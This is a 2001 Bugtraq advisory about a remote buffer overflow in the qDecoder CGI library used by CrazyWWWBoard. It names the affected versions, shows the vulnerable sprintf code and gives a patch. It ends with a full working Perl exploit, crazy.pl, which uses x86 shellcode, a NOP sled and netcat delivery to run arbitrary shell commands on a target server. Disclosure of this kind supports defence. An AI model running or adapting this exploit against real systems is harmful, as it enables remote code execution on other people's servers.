[18886] in bugtraq
Nobreak Tecnologies CrazyWWWBoard Remote Buffer Overflow
daemon@ATHENA.MIT.EDU (You, Jin-Ho)
Tue Jan 30 18:32:20 2001
Mime-Version: 1.0
Content-Type: text/plain; charset=EUC-KR
Content-Transfer-Encoding: 7bit
Message-Id: <3A76799D.EE89F291@chonnam.chonnam.ac.kr>
Date: Tue, 30 Jan 2001 17:21:49 +0900
Reply-To: "You, Jin-Ho" <jhyou@CHONNAM.CHONNAM.AC.KR>
From: "You, Jin-Ho" <jhyou@CHONNAM.CHONNAM.AC.KR>
To: BUGTRAQ@SECURITYFOCUS.COM
Nobreak Tecnologies CrazyWWWBoard Remote Buffer Overflow Vulnerability
Jin Ho You, jhyou@chonnam.chonnam.ac.kr
1 Discussion
CrazyWWWBoard(http://www.crazywwwboard.com) is a web bulletin board program
written in C/C++. Insufficient boundary checking exists in the qDecoder CGI
library code which handles multipart/form-data MIME entities. You can get
qDecoder from http://www.qdecoder.org. The boundary delimeter over 254
characters declared in the Content-Type header line overruns it's buffer,
and allows remote buffer overflow attack.
There are other CGI programs using the vulnerable qDecoder, such as CrazySearch.
They have the string "_parse_multipart_data" in the excution program.
2 Vulnerable and not vulnerable versions
- Vulnerable
CrazyWWWBoard version 2000px, 2000LEpx, 98, 98PE, 3.0.1
CrazySearch 1.0.1
CGIs using qDecoder 4.0 ~ 5.0.8
- Not Vulnerable
CrazyWWWBoard2000LEp5-1
You can download bug-fixed Light Edition version from
ftp://ftp.nobreak.com/pub/SOTNAL/CrazyWWWBoard2000LEp5-1/
Recently distributed CrazyWWWBoard 2000 (SOTNAL v1.5.x) should be bug fixed.
3 Bug and Fix
Following codes in qDecoder.c of v4.0 ~ 5.0.8 shows the buffer overflow bug.
sprintf() can make the buffer 'boundary' overflow. qDecoder of C++ version
used in some CrazyWWW2000 series should have the same bug.
int _parse_multipart_data(void) {
...
char boundary[0xff], boundaryEOF[0xff];
...
sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
...
}
Following patch forces boundary checking to fix the problem.
If you have the source program of CrazyWWWBoard 3.0.1 or CrazyWWWBoard 98PE,
the following patch is required.
qDecoder library must be upgrade to 6.x version.
--- qDecoder-4.0/qDecoder.c.orig Tue Nov 4 09:09:16 1997
+++ qDecoder-4.0/qDecoder.c Thu Mar 30 20:08:29 2000
@@ -180,10 +180,17 @@
int c, c_count;^M
^M
int finish;^M
+ int boundary_len;^M
^M
entries = back = NULL;^M
^M
/* find boundary string */^M
+^M
+ /* force to check the boundary string length */^M
+ boundary_len = strlen(strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary"));^M
+ if (boundary_len >= sizeof(boundary) - strlen("\r\n----"))^M
+ qError("_parse_multipart_data() : the boundary string is too long!.");^M
+^M
sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));^M
/* This is not necessary but, I can not trust MS Explore */^M
qRemoveSpace(boundary);^M
4 Exploit
---- crazy.pl begin ------------>>> cut here <<<-------------------------------
#!/usr/bin/perl
# crazy.pl
#
# CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux
#
# CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter
# over 254 characters in the header "Content-Type: multipart/form-data".
#
# nc, the netcat program is required.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 03/26/2000
$nc_path = "nc"; # path of netcat program
$usage =
"usage: crazy.pl [options] CGI-URL\n
CGI-URL URL of the target CGI
-c command Bourne shell command
Default: '/bin/echo 00ps, Crazy!'
-o offset Offset of the egg shell code,
Recommended [-300,+300]
example)
crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
target.com/cgi-bin/vulnerable.cgi
";
require 'getopt.pl';
Getopt('oc');
if ($#ARGV < 0) {
print $usage;
exit(0);
};
$cgiurl = $ARGV[0];
$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";
$offset = $opt_o ? $opt_o : 0;
$cgiurl =~ s/http:\/\///;
($host, $cgiuri) = split(/\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;
$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
$cmdlen = length($command);
$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
"\xeb\x37" # jmp 0x37
. "\x5e" # popl %esi
. "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi)
. "\x89\xf0" # movl %esi,%eax
. "\x83\xc0\x08" # addl $0x8,%eax
. "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)
. "\x89\xf0" # movl %esi,%eax
. "\x83\xc0\x0b" # addl $0xb,%eax
. "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)
. "\x31\xc0" # xorl %eax,%eax
. "\x88\x46\x07" # movb %eax,0x7(%esi)
. "\x4e" # dec %esi
. "\x88\x46\x0b" # movb %eax,0xb(%esi)
. "\x46" # inc %esi
. "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)
. "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)
. "\xb0\x0b" # movb $0xb,%al
. "\x89\xf3" # movl %esi,%ebx
. "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx
. "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx
. "\xcd\x80" # int 0x80
. "\x31\xdb" # xorl %ebx,%ebx
. "\x89\xd8" # movl %ebx,%eax
. "\x40" # inc %eax
. "\xcd\x80" # int 0x80
. "\xe8\xc4\xff\xff\xff" # call -0x3c
. "/bin/sh0-c0" # .string "/bin/sh0-c0"
. $command;
$offset -= length($command) / 2 + length($host . $port , $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
. pack(V, $entries) x 2 . pack(V, $jump) x 2;
$content = substr($egg, 254) .
"--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
$contentlength = length($content);
printf STDERR "Jump to 0x%x\n", $jump;
open(HTTP, "|$nc_path $host $port");
select(HTTP); $|= 1;
print HTTP <<__HEADER__;
POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength
$content
__HEADER__
close(HTTP);
---- crazy.pl end ------------>>> cut here <<<-------------------------------